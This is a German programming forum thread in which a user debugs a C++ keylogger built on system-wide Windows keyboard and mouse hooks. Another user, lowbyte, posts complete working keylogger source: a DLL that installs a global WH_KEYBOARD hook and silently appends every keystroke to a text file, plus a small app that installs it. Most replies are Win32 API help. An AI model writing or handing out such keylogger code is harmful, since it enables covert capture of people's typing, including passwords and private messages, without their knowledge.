Hook Problem



  • Hallo Leute,
    ich habe mich in letzter Zeit ein wenig mit Hooks beschäftigt und habe nun mal versucht einen einfachen Keylogger zu programmieren.
    (Und nein ich habe nix verbotenes vor 😉 )
    Dazu benutzte ich zwei systemweiten Hooks (Keyboard & Mouse) innerhalb einer DLL, die ich so auswerte:

    LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    	if(nCode >= NULL)
    	{
    		if(wParam == WM_LBUTTONDOWN || wParam == WM_NCLBUTTONDOWN)
    		{
    			MOUSEHOOKSTRUCT* mhs = (MOUSEHOOKSTRUCT*)lParam;
    			HWND hCaller = NULL;
    			hCaller = FindWindow("KEYLOG", NULL);
    			if(hCaller != NULL)	PostMessage(hCaller, WM_USER+123, 0, MAKELPARAM(mhs->pt.x, mhs->pt.y));
    		}
    	}
    	return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    	if(nCode >= NULL)
    	{
    		if((lParam & 0x80000000) == 0x00000000)
    		{
    			HWND hCaller = NULL;
    			hCaller = FindWindow("KEYLOG", NULL);
    			if(hCaller != NULL)	PostMessage(hCaller, WM_USER+124, 0, lParam);
    		}
    	}
    	return CallNextHookEx(g_hMouseHook, nCode, wParam, lParam);
    }
    

    Im Hauptprogramm will ich dann die gedrückte Taste in eine .txt-Datei schreiben lassen:

    LRESULT CALLBACK RRender(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
    	char	szBuffer[20];
    	switch(message)
    	{
                    .
                    .
                    .
    	case WM_USER+123	:	sprintf(szBuffer, "|Click: %d,%d|", LOWORD(lParam), HIWORD(lParam));
    					         FLog.write(szBuffer, strlen(szBuffer));	        break;
    
    	case WM_USER+124	:	GetKeyNameText(lParam, szBuffer, 20);
    					         FLog.write(szBuffer, strlen(szBuffer));		    break;
                    .
                    .
                    .
    	}
    	return 0;
    }
    

    Das funktioniert auch soweit. Allerdings wird alles immer doppelt in die .txt-Datei geschrieben.

    Hat jemand eine Idee woran das liegen könnte? 😕
    (Ich benutzte in der DLL und im Hauptprogramm den Multicode-Zeichensatz)

    schonmal danke im Voraus



  • Kann sein, dass die Keybord-Proc aufgerufen wird, wenn du eine Taste drückst und nochmal aufgerufen wird, wenn du die Taste wieder loslässt. Was nun für ein Fall vorliegt, kann man anhand von lParam oder wParam feststellen. Ist nur so ne Vermutung, ich kenne mich damit auch nicht so gut aus. Korrigiert mich bitte, wenn ich falsch liege. (Ich glaub aber, dass ich richtig liege 😉 )

    MfG, Jochen



  • Das hab ich mir auch schon gedacht und hab es mal mit WM_KEYDOWN oder WM_KEYUP zusätzlich versucht.
    Hat aber auch nicht geklappt. 😞
    Außerdem ist es bei dem MouseProc ja genau so..?

    Gibt es vllt. weitere Befehle die prezieser sind oder liegt es doch an was anderem?



  • Tja, dann weiss ich auch nicht, woran das liegen könnte. Aber eventuell kannst du das Problem ja so lösen:

    static bool bLog = false;
    if(bLog){/*Buchstaben in Textdatei schreiben*/} 
    bLog = !bLog;
    

    Das müsstest du dann in dein Programm einbauen.
    So würde dann nur jeder zweite Buchstabe protokolliert.
    Ist zwar nicht ganz so schön, weil das Problem dadurch nur "umgangen" wird.

    MfG, Jochen



  • Ja wenns nun gar nicht anders geht dann kann man das so machen, aber ne Lösung auf mein Problem ist das jetzt nicht..

    Aber trotzdem danke 🙂



  • Hier, das hab ich in der Doku gefunden:

    lParam
    [in] Specifies the repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. This parameter can be one or more of the following values.
    0-15
    Specifies the repeat count. The value is the number of times the keystroke is repeated as a result of the user's holding down the key.
    16-23
    Specifies the scan code. The value depends on the OEM.
    24
    Specifies whether the key is an extended key, such as a function key or a key on the numeric keypad. The value is 1 if the key is an extended key; otherwise, it is 0.
    25-28
    Reserved.
    29
    Specifies the context code. The value is 1 if the ALT key is down; otherwise, it is 0.
    30
    Specifies the previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
    31
    Specifies the transition state. The value is 0 if the key is being pressed and 1 if it is being released.

    Ich würde jetzt folgendes machen: Immer, wenn KeyboardProc aufgerufen wird, würde ich mir einfach mal lParam ausgeben lassen. Dann düftest du für jede Taste, die gedrückt wurde, zwei Zahlen ausgegeben bekommen. Dann könnte man Code einfügen, der dafür sorgt, dass nur protokolliert wird, wenn lParam einen bestimmten wert hat.

    MfG, Jochen.



  • Hi

    Hab vor langer Zeit mal ein Keylogger geschrieben, der auf einem Hook(DLL) basiert Vielleicht kannst du ja was gebrauchen.

    DLL-HEADER:

    /*
    	---------------------------
    	Header File : hooking_dll.h
    	---------------------------
    */
    
    #define EXPORT __declspec (dllexport)
    
    EXPORT BOOL CALLBACK installhook(void);
    
    EXPORT BOOL CALLBACK uninstallhook(void);
    

    DLL-MAIN:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    #pragma comment(linker, "/Section:.hook,RWS")
    
    #pragma bss_seg(".hook")
    HINSTANCE hinstanc;
    #pragma bss_seg()
    
    HHOOK hkb;
    FILE *log;
    
    int WINAPI DllMain(HINSTANCE hins ,DWORD fdwr ,PVOID rwd)
    {
    
        switch (fdwr){
            case DLL_PROCESS_ATTACH :
                // Die DLL wird in den Adressraum des aktuellen Prozesses
                // eingeblendet.
                hinstanc = hins ;
                // Initialisierung der globalen Variable
                break ;
        }
    
    	return 1;
    
    }
    
    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    
    	int set_OS;
        char ch;
        unsigned short w;
        unsigned int scan=0;
    	char ks[256];
    
        log = fopen("c:\\kblog.txt","a+");
    
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {        
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) {
                if (wParam==VK_RETURN) {
                    ch='\n';
                    fwrite(&ch,1,1,log);
                } else {
                    GetKeyboardState(ks);
                    ToAscii((UINT)wParam,scan,ks,&w,0);
                    ch = (char)w; 
                    fwrite(&ch,1,1,log);
                }
    
            }
    
        }
    	fclose(log);
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    
    // Install Keyboard hook Function.
    EXPORT BOOL CALLBACK installhook()
    {
    	BOOL rc=0;
    
        hkb = SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,hinstanc,0);
    	if(hkb==NULL){
    		rc = 1;
    	} else {
    		rc = 0;
    	}
    
        return rc;
    }
    
    // Uninstall Keyboard hook Function.
    EXPORT BOOL CALLBACK uninstallhook()
    {
    
    	return UnhookWindowsHookEx(hkb);
    }
    

    TEST-APP:

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    int main()
    {
    
    	/* Install Keyboard Hook */
    	(int)installhook();
    
    	getchar();
    
    	return 0;
    }
    

    lowbyte



  • Hi

    Ist leider nicht UNICODE kompatibel wie du sehen kannst, doch du sollst dass schon hinkriegen. Sonnst kannst du ja fragen.

    lowbyte



  • @lowbyte_:
    Hab mir mal den Code angesehen. Hätte da noch ne Frage zu: Ist das richtig, dass die Funktion uninstallhook nie aufgerufen wird? Falls ja, wie wird der Hook wieder entfernt?

    MfG, Jochen



  • Hi

    Ja das ist richtig, doch es ist ja nur ein bsp.
    In der main (nicht dll) kannst du ja einfach :

    #include <windows.h>
    #include <stdio.h>
    #include "hooking_dll.h"
    
    int main()
    {
    
        /* de-install keyboard hook */
        uninstallhook();
    
        return 0;
    }
    

    aufrufen und somit den Hook de-installieren (aus der Liste entfernen).
    Aber das kannst du ja aus dem Header-File entnehmen.

    lowbyte



  • Hi

    Die Routine:

    LRESULT CALLBACK KeyboardProc(int nCode ,WPARAM wParam ,LPARAM lParam )
    {
    
        int set_OS;
        char ch;
        unsigned short w;
        unsigned int scan=0;
        char ks[256];
    
        log = fopen("c:\\kblog.txt","a+");
    
        if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) {        
            if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) {
                if (wParam==VK_RETURN) {
                    ch='\n';
                    fwrite(&ch,1,1,log);
                } else {
                    GetKeyboardState(ks);
                    ToAscii((UINT)wParam,scan,ks,&w,0);
                    ch = (char)w;
                    fwrite(&ch,1,1,log);
                }
    
            }
    
        }
        fclose(log);
    
        return CallNextHookEx( hkb, nCode, wParam, lParam );
    }
    

    Ist ein bisschen zusammen gebastelt, da ich ja nicht all mein Code Preisgeben wollte.

    Bei fopen(); müsste man umbedingt eine Fehlerprüfung machen da es sonnst bei fwrite() zum desaster kommt ! Ansonnsten jedem selber überlassen.

    lowbyte



  • Achso, dann ist alles klar. Danke für die Erklärung.



  • Danke für die Hilfe. Jetzt funktionierts 🙂

    Allerdings bin ich noch ein wenig verwirrt.. Was genau steht z.B. bei einem Tastendruck im WPARAM und im LPARAM?



  • Hi

    wParam [in]
    WPARAM

    The virtual-key code of the key that generated the keystroke message.

    lParam [in]
    LPARAM

    The repeat count, scan code, extended-key flag, context code, previous key-state flag, and transition-state flag. For more information about the lParam parameter, see Keystroke Message Flags. The following table describes the bits of this value.
    Bits Description
    0-15 The repeat count. The value is the number of times the keystroke is repeated as a result of the user's holding down the key.
    16-23 The scan code. The value depends on the OEM.
    24 Indicates whether the key is an extended key, such as a function key or a key on the numeric keypad. The value is 1 if the key is an extended key; otherwise, it is 0.
    25-28 Reserved.
    29 The context code. The value is 1 if the ALT key is down; otherwise, it is 0.
    30 The previous key state. The value is 1 if the key is down before the message is sent; it is 0 if the key is up.
    31 The transition state. The value is 0 if the key is being pressed and 1 if it is being released.

    http://msdn.microsoft.com/en-us/library/ms644984(VS.85).aspx

    lowbyte



  • Alles klar.. Genau das meinte ich 🙂
    Danke


Log in to reply